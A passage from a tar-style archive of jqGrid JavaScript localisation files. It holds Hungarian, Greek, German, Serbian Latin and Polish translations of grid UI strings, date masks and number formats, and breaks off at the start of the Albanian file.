"all" }, { op: "OR", text: "any" } ], operandTitle : "Click to select search operation.", resetTitle : "Reset Search Value", addsubgrup : "Add subgroup", addrule : "Add rule", delgroup : "Delete group", delrule : "Delete rule", Close : "Close", Operand : "Operand : ", Operation : "Oper : ", filterFor : "filter for" }, edit : { addCaption: "Új tétel", editCaption: "Tétel szerkesztése", bSubmit: "Mentés", bCancel: "Mégse", bClose: "Bezárás", saveData: "A tétel megváltozott! Tétel mentése?", bYes : "Igen", bNo : "Nem", bExit : "Mégse", msg: { required:"Kötelező mező", number:"Kérjük, adjon meg egy helyes számot", minValue:"Nagyobb vagy egyenlőnek kell lenni mint ", maxValue:"Kisebb vagy egyenlőnek kell lennie mint", email: "Hibás email cím", integer: "Kérjük adjon meg egy helyes egész számot", date: "Kérjük adjon meg egy helyes dátumot", url: "nem helyes cím. Előtag kötelező ('http://' vagy 'https://')", nodefined : " nem definiált!", novalue : " visszatérési érték kötelező!!", customarray : "Custom function should return array!", customfcheck : "Custom function should be present in case of custom checking!" } }, view : { caption: "Tétel megtekintése", bClose: "Bezárás" }, del : { caption: "Törlés", msg: "Kiválaztott tétel(ek) törlése?", bSubmit: "Törlés", bCancel: "Mégse" }, nav : { edittext: "", edittitle: "Tétel szerkesztése", addtext:"", addtitle: "Új tétel hozzáadása", deltext: "", deltitle: "Tétel törlése", searchtext: "", searchtitle: "Keresés", refreshtext: "", refreshtitle: "Frissítés", alertcap: "Figyelmeztetés", alerttext: "Kérem válasszon tételt.", viewtext: "", viewtitle: "Tétel megtekintése", savetext: "", savetitle: "Save row", canceltext: "", canceltitle : "Cancel row editing", selectcaption : "Actions..." }, col : { caption: "Oszlopok kiválasztása", bSubmit: "Ok", bCancel: "Mégse" }, errors : { errcap : "Hiba", nourl : "Nincs URL beállítva", norecords: "Nincs feldolgozásra váró tétel", model : "colNames és colModel hossza nem egyenlő!" }, formatter : { integer : {thousandsSeparator: " ", defaultValue: '0'}, number : {decimalSeparator:",", thousandsSeparator: " ", decimalPlaces: 2, defaultValue: '0,00'}, currency : {decimalSeparator:",", thousandsSeparator: " ", decimalPlaces: 2, prefix: "", suffix:"", defaultValue: '0,00'}, date : { dayNames: [ "Va", "Hé", "Ke", "Sze", "Csü", "Pé", "Szo", "Vasárnap", "Hétfő", "Kedd", "Szerda", "Csütörtök", "Péntek", "Szombat" ], monthNames: [ "Jan", "Feb", "Már", "Ápr", "Máj", "Jún", "Júl", "Aug", "Szep", "Okt", "Nov", "Dec", "Január", "Február", "Március", "Áprili", "Május", "Június", "Július", "Augusztus", "Szeptember", "Október", "November", "December" ], AmPm : ["de","du","DE","DU"], S: function (j) {return '.-ik';}, srcformat: 'Y-m-d', newformat: 'Y/m/d', parseRe : /[#%\\\/:_;.,\t\s-]/, masks : { ISO8601Long:"Y-m-d H:i:s", ISO8601Short:"Y-m-d", ShortDate: "Y/j/n", LongDate: "Y. F hó d., l", FullDateTime: "l, F d, Y g:i:s A", MonthDay: "F d", ShortTime: "a g:i", LongTime: "a g:i:s", SortableDateTime: "Y-m-d\\TH:i:s", UniversalSortableDateTime: "Y-m-d H:i:sO", YearMonth: "Y, F" }, reformatAfterEdit : false, userLocalTime : false }, baseLinkUrl: '', showAction: '', target: '', checkbox : {disabled:true}, idName : 'id' }, colmenu : { sortasc : "Sort Ascending", sortdesc : "Sort Descending", columns : "Columns", filter : "Filter", grouping : "Group By", ungrouping : "Ungroup", searchTitle : "Get items with value that:", freeze : "Freeze", unfreeze : "Unfreeze", reorder : "Move to reorder", hovermenu: "Click for column quick actions" } }; })); i18n/grid.locale-el.js000064400000015733151677266200010467 0ustar00/** * jqGrid Greek (el) Translation * Alex Cicovic * http://www.alexcicovic.com * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html **/ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "../grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("regional")) { $.jgrid.regional = []; } $.jgrid.regional["el"] = { defaults : { recordtext: "View {0} - {1} of {2}", emptyrecords: "No records to view", loadtext: "Φόρτωση...", savetext: "Saving...", pgtext : "Page {0} of {1}", pgfirst : "First Page", pglast : "Last Page", pgnext : "Next Page", pgprev : "Previous Page", pgrecs : "Records per Page", showhide: "Toggle Expand Collapse Grid", // mobile pagerCaption : "Grid::Page Settings", pageText : "Page:", recordPage : "Records per Page", nomorerecs : "No more records...", scrollPullup: "Pull up to load more...", scrollPulldown : "Pull down to refresh...", scrollRefresh : "Release to refresh...", valT : "checked", valF : "unchecked", selectLine : "Select row", selectAllLines : "Select all rows" }, search : { caption: "Αναζήτηση...", Find: "Εύρεση", Reset: "Επαναφορά", odata: [{ oper:'eq', text:'equal'},{ oper:'ne', text:'not equal'},{ oper:'lt', text:'less'},{ oper:'le', text:'less or equal'},{ oper:'gt', text:'greater'},{ oper:'ge', text:'greater or equal'},{ oper:'bw', text:'begins with'},{ oper:'bn', text:'does not begin with'},{ oper:'in', text:'is in'},{ oper:'ni', text:'is not in'},{ oper:'ew', text:'ends with'},{ oper:'en', text:'does not end with'},{ oper:'cn', text:'contains'},{ oper:'nc', text:'does not contain'},{ oper:'nu', text:'is null'},{ oper:'nn', text:'is not null'}, {oper:'bt', text:'between'}], groupOps: [ { op: "AND", text: "all" }, { op: "OR", text: "any" } ], operandTitle : "Click to select search operation.", resetTitle : "Reset Search Value", addsubgrup : "Add subgroup", addrule : "Add rule", delgroup : "Delete group", delrule : "Delete rule", Close : "Close", Operand : "Operand : ", Operation : "Oper : ", filterFor : "filter for" }, edit : { addCaption: "Εισαγωγή Εγγραφής", editCaption: "Επεξεργασία Εγγραφής", bSubmit: "Καταχώρηση", bCancel: "Άκυρο", bClose: "Κλείσιμο", saveData: "Data has been changed! Save changes?", bYes : "Yes", bNo : "No", bExit : "Cancel", msg: { required:"Το πεδίο είναι απαραίτητο", number:"Το πεδίο δέχεται μόνο αριθμούς", minValue:"Η τιμή πρέπει να είναι μεγαλύτερη ή ίση του ", maxValue:"Η τιμή πρέπει να είναι μικρότερη ή ίση του ", email: "Η διεύθυνση e-mail δεν είναι έγκυρη", integer: "Το πεδίο δέχεται μόνο ακέραιους αριθμούς", url: "is not a valid URL. Prefix required ('http://' or 'https://')", nodefined : " is not defined!", novalue : " return value is required!", customarray : "Custom function should return array!", customfcheck : "Custom function should be present in case of custom checking!" } }, view : { caption: "View Record", bClose: "Close" }, del : { caption: "Διαγραφή", msg: "Διαγραφή των επιλεγμένων εγγραφών;", bSubmit: "Ναι", bCancel: "Άκυρο" }, nav : { edittext: " ", edittitle: "Επεξεργασία επιλεγμένης εγγραφής", addtext:" ", addtitle: "Εισαγωγή νέας εγγραφής", deltext: " ", deltitle: "Διαγραφή επιλεγμένης εγγραφής", searchtext: " ", searchtitle: "Εύρεση Εγγραφών", refreshtext: "", refreshtitle: "Ανανέωση Πίνακα", alertcap: "Προσοχή", alerttext: "Δεν έχετε επιλέξει εγγραφή", viewtext: "", viewtitle: "View selected row", savetext: "", savetitle: "Save row", canceltext: "", canceltitle : "Cancel row editing", selectcaption : "Actions..." }, col : { caption: "Εμφάνιση / Απόκρυψη Στηλών", bSubmit: "ΟΚ", bCancel: "Άκυρο" }, errors : { errcap : "Σφάλμα", nourl : "Δεν έχει δοθεί διεύθυνση χειρισμού για τη συγκεκριμένη ενέργεια", norecords: "Δεν υπάρχουν εγγραφές προς επεξεργασία", model : "Άνισος αριθμός πεδίων colNames/colModel!" }, formatter : { integer : {thousandsSeparator: " ", defaultValue: '0'}, number : {decimalSeparator:".", thousandsSeparator: " ", decimalPlaces: 2, defaultValue: '0.00'}, currency : {decimalSeparator:".", thousandsSeparator: " ", decimalPlaces: 2, prefix: "", suffix:"", defaultValue: '0.00'}, date : { dayNames: [ "Κυρ", "Δευ", "Τρι", "Τετ", "Πεμ", "Παρ", "Σαβ", "Κυριακή", "Δευτέρα", "Τρίτη", "Τετάρτη", "Πέμπτη", "Παρασκευή", "Σάββατο" ], monthNames: [ "Ιαν", "Φεβ", "Μαρ", "Απρ", "Μαι", "Ιουν", "Ιουλ", "Αυγ", "Σεπ", "Οκτ", "Νοε", "Δεκ", "Ιανουάριος", "Φεβρουάριος", "Μάρτιος", "Απρίλιος", "Μάιος", "Ιούνιος", "Ιούλιος", "Αύγουστος", "Σεπτέμβριος", "Οκτώβριος", "Νοέμβριος", "Δεκέμβριος" ], AmPm : ["πμ","μμ","ΠΜ","ΜΜ"], S: function (j) {return j == 1 || j > 1 ? ['η'][Math.min((j - 1) % 10, 3)] : ''}, srcformat: 'Y-m-d', newformat: 'd/m/Y', parseRe : /[#%\\\/:_;.,\t\s-]/, masks : { ISO8601Long:"Y-m-d H:i:s", ISO8601Short:"Y-m-d", ShortDate: "n/j/Y", LongDate: "l, F d, Y", FullDateTime: "l, F d, Y g:i:s A", MonthDay: "F d", ShortTime: "g:i A", LongTime: "g:i:s A", SortableDateTime: "Y-m-d\\TH:i:s", UniversalSortableDateTime: "Y-m-d H:i:sO", YearMonth: "F, Y" }, reformatAfterEdit : false, userLocalTime : false }, baseLinkUrl: '', showAction: '', target: '', checkbox : {disabled:true}, idName : 'id' }, colmenu : { sortasc : "Sort Ascending", sortdesc : "Sort Descending", columns : "Columns", filter : "Filter", grouping : "Group By", ungrouping : "Ungroup", searchTitle : "Get items with value that:", freeze : "Freeze", unfreeze : "Unfreeze", reorder : "Move to reorder", hovermenu: "Click for column quick actions" } }; })); i18n/grid.locale-de.js000064400000021004151677266200010443 0ustar00/** * jqGrid German Translation * Version 1.0.0 (developed for jQuery Grid 3.3.1) * Olaf Klöppel opensource@blue-hit.de * http://blue-hit.de/ * * Updated for jqGrid 3.8 * Andreas Flack * http://www.contentcontrol-berlin.de * * Updated for jQuery 4.4 * Oleg Kiriljuk oleg.kiriljuk@ok-soft-gmbh.com * the format corresponds now the format from * https://github.com/jquery/globalize/blob/master/lib/cultures/globalize.culture.de.js * * Updated for jqGrid 4.8 * Tony Tomov * http://www.guriddo.net * * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html **/ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "../grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("regional")) { $.jgrid.regional = []; } $.jgrid.regional["de"] = { defaults : { recordtext: "Zeige {0} - {1} von {2}", emptyrecords: "Keine Datensätze vorhanden", loadtext: "Lädt...", savetext: "Speichern...", pgtext : "Seite {0} von {1}", pgfirst : "erste Seite", pglast : "letzte Seite", pgnext : "nächste Seite", pgprev : "vorherige Seite", pgrecs : "Datensätze pro Seite", showhide: "Toggle erweitern reduzieren", // mobile pagerCaption : "Grid::Seite Optionen", pageText : "Seite:", recordPage : "Ergebnisse pro Seite", nomorerecs : "Keine weiteren Datensätze...", scrollPullup: "Ziehen Sie, um mehr zu laden...", scrollPulldown : "Pulldown zu aktualisieren...", scrollRefresh : "Lassen Sie zu aktualisieren..." }, search : { caption: "Suche...", Find: "Suchen", Reset: "Zurücksetzen", odata: [{ oper:'eq', text:"gleich"},{ oper:'ne', text:"ungleich"},{ oper:'lt', text:"kleiner"},{ oper:'le', text:"kleiner gleich"},{ oper:'gt', text:"größer"},{ oper:'ge', text:"größer gleich"},{ oper:'bw', text:"beginnt mit"},{ oper:'bn', text:"beginnt nicht mit"},{ oper:'in', text:"ist in"},{ oper:'ni', text:"ist nicht in"},{ oper:'ew', text:"endet mit"},{ oper:'en', text:"endet nicht mit"},{ oper:'cn', text:"enthält"},{ oper:'nc', text:"enthält nicht"}, { oper:'nu', text:"ist Null" }, { oper:'nn', text:"ist nicht Null" }, {oper:'bt', text:'zwischen'}], groupOps: [{ op: "AND", text: "alle" },{ op: "OR", text: "mindestens eine" }], operandTitle : "Klicken Sie auf Suchoperation zu wählen.", resetTitle : "Reset Suche Wert", addsubgrup : "Gruppe hinzufügen", addrule : "In der Regel", delgroup : "Gruppe löschen", delrule : "Regel löschen", Close : "Close", Operand : "Operand : ", Operation : "Oper : ", filterFor : "filter for" }, edit : { addCaption: "Datensatz hinzufügen", editCaption: "Datensatz bearbeiten", bSubmit: "Speichern", bCancel: "Abbrechen", bClose: "Schließen", saveData: "Daten wurden geändert! Änderungen speichern?", bYes : "ja", bNo : "nein", bExit : "abbrechen", msg: { required:"Feld ist erforderlich", number: "Bitte geben Sie eine Zahl ein", minValue:"Wert muss größer oder gleich sein, als ", maxValue:"Wert muss kleiner oder gleich sein, als ", email: "ist keine gültige E-Mail-Adresse", integer: "Bitte geben Sie eine Ganzzahl ein", date: "Bitte geben Sie ein gültiges Datum ein", url: "ist keine gültige URL. Präfix muss eingegeben werden ('http://' oder 'https://')", nodefined : " ist nicht definiert!", novalue : " Rückgabewert ist erforderlich!", customarray : "Benutzerdefinierte Funktion sollte ein Array zurückgeben!", customfcheck : "Benutzerdefinierte Funktion sollte im Falle der benutzerdefinierten Überprüfung vorhanden sein!" } }, view : { caption: "Datensatz anzeigen", bClose: "Schließen" }, del : { caption: "Löschen", msg: "Ausgewählte Datensätze löschen?", bSubmit: "Löschen", bCancel: "Abbrechen" }, nav : { edittext: " ", edittitle: "Ausgewählte Zeile editieren", addtext:" ", addtitle: "Neue Zeile einfügen", deltext: " ", deltitle: "Ausgewählte Zeile löschen", searchtext: " ", searchtitle: "Datensatz suchen", refreshtext: "", refreshtitle: "Tabelle neu laden", alertcap: "Warnung", alerttext: "Bitte Zeile auswählen", viewtext: "", viewtitle: "Ausgewählte Zeile anzeigen", savetext: "", savetitle: "Zeile speihern", canceltext: "", canceltitle : "Zeile abbrechen", selectcaption : "Aktionen..." }, col : { caption: "Spalten auswählen", bSubmit: "Speichern", bCancel: "Abbrechen" }, errors : { errcap : "Fehler", nourl : "Keine URL angegeben", norecords: "Keine Datensätze zu bearbeiten", model : "colNames und colModel sind unterschiedlich lang!" }, formatter : { integer : {thousandsSeparator: ".", defaultValue: '0'}, number : {decimalSeparator:",", thousandsSeparator: ".", decimalPlaces: 2, defaultValue: '0,00'}, currency : {decimalSeparator:",", thousandsSeparator: ".", decimalPlaces: 2, prefix: "", suffix:" €", defaultValue: '0,00'}, date : { dayNames: [ "So", "Mo", "Di", "Mi", "Do", "Fr", "Sa", "Sonntag", "Montag", "Dienstag", "Mittwoch", "Donnerstag", "Freitag", "Samstag" ], monthNames: [ "Jan", "Feb", "Mar", "Apr", "Mai", "Jun", "Jul", "Aug", "Sep", "Okt", "Nov", "Dez", "Januar", "Februar", "März", "April", "Mai", "Juni", "Juli", "August", "September", "Oktober", "November", "Dezember" ], AmPm : ["","","",""], S: function () {return '.';}, // one can also use 'er' instead of '.' but one have to use additional word like 'der' or 'den' before srcformat: 'Y-m-d', newformat: 'd.m.Y', parseRe : /[#%\\\/:_;.,\t\s-]/, masks : { // see http://php.net/manual/en/function.date.php for PHP format used in jqGrid // and see http://docs.jquery.com/UI/Datepicker/formatDate // and https://github.com/jquery/globalize#dates for alternative formats used frequently ISO8601Long: "Y-m-d H:i:s", ISO8601Short: "Y-m-d", // short date: // d - Day of the month, 2 digits with leading zeros // m - Numeric representation of a month, with leading zeros // Y - A full numeric representation of a year, 4 digits ShortDate: "d.m.Y", // in jQuery UI Datepicker: "dd.MM.yyyy" // long date: // l - A full textual representation of the day of the week // j - Day of the month without leading zeros // F - A full textual representation of a month // Y - A full numeric representation of a year, 4 digits LongDate: "l, j. F Y", // in jQuery UI Datepicker: "dddd, d. MMMM yyyy" // long date with long time: // l - A full textual representation of the day of the week // j - Day of the month without leading zeros // F - A full textual representation of a month // Y - A full numeric representation of a year, 4 digits // H - 24-hour format of an hour with leading zeros // i - Minutes with leading zeros // s - Seconds, with leading zeros FullDateTime: "l, j. F Y H:i:s", // in jQuery UI Datepicker: "dddd, d. MMMM yyyy HH:mm:ss" // month day: // d - Day of the month, 2 digits with leading zeros // F - A full textual representation of a month MonthDay: "d F", // in jQuery UI Datepicker: "dd MMMM" // short time (without seconds) // H - 24-hour format of an hour with leading zeros // i - Minutes with leading zeros ShortTime: "H:i", // in jQuery UI Datepicker: "HH:mm" // long time (with seconds) // H - 24-hour format of an hour with leading zeros // i - Minutes with leading zeros // s - Seconds, with leading zeros LongTime: "H:i:s", // in jQuery UI Datepicker: "HH:mm:ss" SortableDateTime: "Y-m-d\\TH:i:s", UniversalSortableDateTime: "Y-m-d H:i:sO", // month with year // F - A full textual representation of a month // Y - A full numeric representation of a year, 4 digits YearMonth: "F Y" // in jQuery UI Datepicker: "MMMM yyyy" }, reformatAfterEdit : false, userLocalTime : false }, baseLinkUrl: '', showAction: '', target: '', checkbox : {disabled:true}, idName : 'id' }, colmenu : { sortasc : "Aufsteigend sortieren", sortdesc : "Absteigend sortieren", columns : "Spalte", filter : "Filter", grouping : "Gruppiere nach", ungrouping : "Gruppierung aufheben", searchTitle : "Erhalten Sie Artikel mit Wert:", freeze : "Einfrieren", unfreeze : "Freigeben", reorder : "Bewegen neu anordnen", hovermenu: "Click for column quick actions" } }; })); i18n/grid.locale-sr-latin.js000064400000014157151677266200011617 0ustar00/** * jqGrid Serbian latin Translation * Bild Studio info@bild-studio.net * http://www.bild-studio.com * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html **/ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "../grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("regional")) { $.jgrid.regional = []; } $.jgrid.regional["sr-latin"] = { defaults : { recordtext: "Pregled {0} - {1} od {2}", emptyrecords: "Ne postoji nijedan zapis", loadtext: "Učitavanje…", pgtext : "Strana {0} od {1}", savetext: "Saving...", pgfirst : "First Page", pglast : "Last Page", pgnext : "Next Page", pgprev : "Previous Page", pgrecs : "Records per Page", showhide: "Toggle Expand Collapse Grid", // mobile pagerCaption : "Grid::Page Settings", pageText : "Page:", recordPage : "Records per Page", nomorerecs : "No more records...", scrollPullup: "Pull up to load more...", scrollPulldown : "Pull down to refresh...", scrollRefresh : "Release to refresh...", valT : "checked", valF : "unchecked", selectLine : "Select row", selectAllLines : "Select all rows" }, search : { caption: "Traženje...", Find: "Traži", Reset: "Resetuj", odata: [{ oper:'eq', text:"jednako"},{ oper:'ne', text:"nije jednako"},{ oper:'lt', text:"manje"},{ oper:'le', text:"manje ili jednako"},{ oper:'gt', text:"veće"},{ oper:'ge', text:"veće ili jednako"},{ oper:'bw', text:"počinje sa"},{ oper:'bn', text:"ne počinje sa"},{ oper:'in', text:"je u"},{ oper:'ni', text:"nije u"},{ oper:'ew', text:"završava sa"},{ oper:'en', text:"ne završava sa"},{ oper:'cn', text:"sadrži"},{ oper:'nc', text:"ne sadrži"},{ oper:'nu', text:'is null'},{ oper:'nn', text:'is not null'}, {oper:'bt', text:'between'}], groupOps: [ { op: "AND", text: "sva" }, { op: "OR", text: "bilo koje" } ], operandTitle : "Click to select search operation.", resetTitle : "Reset Search Value", addsubgrup : "Add subgroup", addrule : "Add rule", delgroup : "Delete group", delrule : "Delete rule", Close : "Close", Operand : "Operand : ", Operation : "Oper : ", filterFor : "filter for" }, edit : { addCaption: "Dodaj zapis", editCaption: "Izmeni zapis", bSubmit: "Pošalji", bCancel: "Odustani", bClose: "Zatvori", saveData: "Podatak je izmenjen! Sačuvaj izmene?", bYes : "Da", bNo : "Ne", bExit : "Odustani", msg: { required: "Polje je obavezno", number: "Unesite ispravan broj", minValue: "vrednost mora biti veća od ili jednaka sa ", maxValue: "vrednost mora biti manja ili jednaka sa", email: "nije ispravna email adresa, nije valjda da ne umeš ukucati mail!?", integer: "Unesi celobrojnu vrednost ", date: "Unesite ispravan datum", url: "nije ispravan URL. Potreban je prefiks ('http://' or 'https://')", nodefined : " nije definisan!", novalue : " zahtevana je povratna vrednost!", customarray : "Prilagođena funkcija treba da vrati niz!", customfcheck : "Prilagođena funkcija treba da bude prisutana u slučaju prilagođene provere!" } }, view : { caption: "Pogledaj zapis", bClose: "Zatvori" }, del : { caption: "Izbrisi", msg: "Izbrisi izabran(e) zapise(e)?", bSubmit: "Izbriši", bCancel: "Odbaci" }, nav : { edittext: "", edittitle: "Izmeni izabrani red", addtext:"", addtitle: "Dodaj novi red", deltext: "", deltitle: "Izbriši izabran red", searchtext: "", searchtitle: "Nađi zapise", refreshtext: "", refreshtitle: "Ponovo učitaj podatke", alertcap: "Upozorenje", alerttext: "Izaberite red", viewtext: "", viewtitle: "Pogledaj izabrani red", savetext: "", savetitle: "Save row", canceltext: "", canceltitle : "Cancel row editing", selectcaption : "Actions..." }, col : { caption: "Izaberi kolone", bSubmit: "OK", bCancel: "Odbaci" }, errors : { errcap : "Greška", nourl : "Nije postavljen URL", norecords: "Nema zapisa za obradu", model : "Dužina modela colNames <> colModel!" }, formatter : { integer : {thousandsSeparator: " ", defaultValue: '0'}, number : {decimalSeparator:".", thousandsSeparator: " ", decimalPlaces: 2, defaultValue: '0.00'}, currency : {decimalSeparator:".", thousandsSeparator: " ", decimalPlaces: 2, prefix: "", suffix:"", defaultValue: '0.00'}, date : { dayNames: [ "Ned", "Pon", "Uto", "Sre", "Čet", "Pet", "Sub", "Nedelja", "Ponedeljak", "Utorak", "Srijeda", "Četvrtak", "Petak", "Subota" ], monthNames: [ "Jan", "Feb", "Mar", "Apr", "Maj", "Jun", "Jul", "Avg", "Sep", "Okt", "Nov", "Dec", "Januar", "Februar", "Mart", "April", "Maj", "Jun", "Jul", "Avgust", "Septembar", "Oktobar", "Novembar", "Decembar" ], AmPm : ["am","pm","AM","PM"], S: function (j) {return j < 11 || j > 13 ? ['st', 'nd', 'rd', 'th'][Math.min((j - 1) % 10, 3)] : 'th'}, srcformat: 'Y-m-d', newformat: 'd/m/Y', parseRe : /[#%\\\/:_;.,\t\s-]/, masks : { ISO8601Long:"Y-m-d H:i:s", ISO8601Short:"Y-m-d", ShortDate: "n/j/Y", LongDate: "l, F d, Y", FullDateTime: "l, F d, Y g:i:s A", MonthDay: "F d", ShortTime: "g:i A", LongTime: "g:i:s A", SortableDateTime: "Y-m-d\\TH:i:s", UniversalSortableDateTime: "Y-m-d H:i:sO", YearMonth: "F, Y" }, reformatAfterEdit : false, userLocalTime : false }, baseLinkUrl: '', showAction: '', target: '', checkbox : {disabled:true}, idName : 'id' }, colmenu : { sortasc : "Sort Ascending", sortdesc : "Sort Descending", columns : "Columns", filter : "Filter", grouping : "Group By", ungrouping : "Ungroup", searchTitle : "Get items with value that:", freeze : "Freeze", unfreeze : "Unfreeze", reorder : "Move to reorder", hovermenu: "Click for column quick actions" } }; })); i18n/grid.locale-pl.js000064400000014227151677266200010477 0ustar00/** * jqGrid Polish Translation * Łukasz Schab lukasz@freetree.pl * http://FreeTree.pl * * Updated names, abbreviations, currency and date/time formats for Polish norms (also corresponding with CLDR v21.0.1 --> http://cldr.unicode.org/index) * Tomasz Pęczek tpeczek@gmail.com * http://tpeczek.blogspot.com; http://tpeczek.codeplex.com * * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html **/ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "../grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("regional")) { $.jgrid.regional = []; } $.jgrid.regional["pl"] = { defaults : { recordtext: "Pokaż {0} - {1} z {2}", emptyrecords: "Brak rekordów do pokazania", loadtext: "Ładowanie...", pgtext : "Strona {0} z {1}", savetext: "Saving...", pgfirst : "First Page", pglast : "Last Page", pgnext : "Next Page", pgprev : "Previous Page", pgrecs : "Records per Page", showhide: "Toggle Expand Collapse Grid", // mobile pagerCaption : "Grid::Page Settings", pageText : "Page:", recordPage : "Records per Page", nomorerecs : "No more records...", scrollPullup: "Pull up to load more...", scrollPulldown : "Pull down to refresh...", scrollRefresh : "Release to refresh...", valT : "checked", valF : "unchecked", selectLine : "Select row", selectAllLines : "Select all rows" }, search : { caption: "Wyszukiwanie...", Find: "Szukaj", Reset: "Czyść", odata: [{ oper:'eq', text:"dokładnie"},{ oper:'ne', text:"różne od"},{ oper:'lt', text:"mniejsze od"},{ oper:'le', text:"mniejsze lub równe"},{ oper:'gt', text:"większe od"},{ oper:'ge', text:"większe lub równe"},{ oper:'bw', text:"zaczyna się od"},{ oper:'bn', text:"nie zaczyna się od"},{ oper:'in', text:"jest w"},{ oper:'ni', text:"nie jest w"},{ oper:'ew', text:"kończy się na"},{ oper:'en', text:"nie kończy się na"},{ oper:'cn', text:"zawiera"},{ oper:'nc', text:"nie zawiera"},{ oper:'nu', text:'is null'},{ oper:'nn', text:'is not null'}, {oper:'bt', text:'between'}], groupOps: [ { op: "AND", text: "oraz" }, { op: "OR", text: "lub" } ], operandTitle : "Click to select search operation.", resetTitle : "Reset Search Value", addsubgrup : "Add subgroup", addrule : "Add rule", delgroup : "Delete group", delrule : "Delete rule", Close : "Close", Operand : "Operand : ", Operation : "Oper : ", filterFor : "filter for" }, edit : { addCaption: "Dodaj rekord", editCaption: "Edytuj rekord", bSubmit: "Zapisz", bCancel: "Anuluj", bClose: "Zamknij", saveData: "Dane zostały zmienione! Zapisać zmiany?", bYes: "Tak", bNo: "Nie", bExit: "Anuluj", msg: { required: "Pole jest wymagane", number: "Proszę wpisać poprawną liczbę", minValue: "wartość musi być większa lub równa od", maxValue: "wartość musi być mniejsza lub równa od", email: "nie jest poprawnym adresem e-mail", integer: "Proszę wpisać poprawną liczbę", date: "Proszę podaj poprawną datę", url: "jest niewłaściwym adresem URL. Pamiętaj o prefiksie ('http://' lub 'https://')", nodefined: " niezdefiniowane!", novalue: " wymagana jest wartość zwracana!", customarray: "Funkcja niestandardowa powinna zwracać tablicę!", customfcheck: "Funkcja niestandardowa powinna być obecna w przypadku niestandardowego sprawdzania!" } }, view : { caption: "Pokaż rekord", bClose: "Zamknij" }, del : { caption: "Usuń", msg: "Czy usunąć wybrany rekord(y)?", bSubmit: "Usuń", bCancel: "Anuluj" }, nav : { edittext: "", edittitle: "Edytuj wybrany wiersz", addtext: "", addtitle: "Dodaj nowy wiersz", deltext: "", deltitle: "Usuń wybrany wiersz", searchtext: "", searchtitle: "Wyszukaj rekord", refreshtext: "", refreshtitle: "Przeładuj", alertcap: "Uwaga", alerttext: "Proszę wybrać wiersz", viewtext: "", viewtitle: "Pokaż wybrany wiersz", savetext: "", savetitle: "Save row", canceltext: "", canceltitle : "Cancel row editing", selectcaption : "Actions..." }, col : { caption: "Pokaż/Ukryj kolumny", bSubmit: "Zatwierdź", bCancel: "Anuluj" }, errors : { errcap: "Błąd", nourl: "Brak adresu url", norecords: "Brak danych", model : "Długość colNames <> colModel!" }, formatter : { integer : {thousandsSeparator: " ", defaultValue: '0'}, number : {decimalSeparator:",", thousandsSeparator: " ", decimalPlaces: 2, defaultValue: '0,00'}, currency : {decimalSeparator:",", thousandsSeparator: " ", decimalPlaces: 2, prefix: "", suffix:" zł", defaultValue: '0,00'}, date : { dayNames: [ "niedz.", "pon.", "wt.", "śr.", "czw.", "pt.", "sob.", "niedziela", "poniedziałek", "wtorek", "środa", "czwartek", "piątek", "sobota" ], monthNames: [ "sty", "lut", "mar", "kwi", "maj", "cze", "lip", "sie", "wrz", "paź", "lis", "gru", "styczeń", "luty", "marzec", "kwiecień", "maj", "czerwiec", "lipiec", "sierpień", "wrzesień", "październik", "listopad", "grudzień" ], AmPm : ["","","",""], S: function (j) {return '';}, srcformat: 'Y-m-d', newformat: 'd.m.Y', parseRe : /[#%\\\/:_;.,\t\s-]/, masks : { ISO8601Long: "Y-m-d H:i:s", ISO8601Short: "Y-m-d", ShortDate: "d.m.y", LongDate: "l, j F Y", FullDateTime: "l, j F Y H:i:s", MonthDay: "j F", ShortTime: "H:i", LongTime: "H:i:s", SortableDateTime: "Y-m-d\\TH:i:s", UniversalSortableDateTime: "Y-m-d H:i:sO", YearMonth: "F Y" }, reformatAfterEdit : false, userLocalTime : false }, baseLinkUrl: '', showAction: '', target: '', checkbox : {disabled:true}, idName : 'id' }, colmenu : { sortasc : "Sort Ascending", sortdesc : "Sort Descending", columns : "Columns", filter : "Filter", grouping : "Group By", ungrouping : "Ungroup", searchTitle : "Get items with value that:", freeze : "Freeze", unfreeze : "Unfreeze", reorder : "Move to reorder", hovermenu: "Click for column quick actions" } }; }));i18n/grid.locale-sq.js000064400000020613151677266200010503 0ustar00/*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "../grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("regional")) { $.jgrid.regional = []; } $.jgrid.regional["sq"] = { defaults : { recordtext: "Shfaq {0} - {1}/{2}", emptyrecords: "Nuk ka rreshta për të shfaqur", loadtext: "Duke u ngarkuar...", savetext: "Duke ruajtur...", pgtext : "Faqja {0}/{1}", pgfirst : "Faqja e parë", pglast : "Faqja e fundit", pgnext : "Faqja tjetër", pgprev : "Faqja mëparshme", pgrecs : "Rreshta për faqe", showhide: "Shpalos ose mbyll 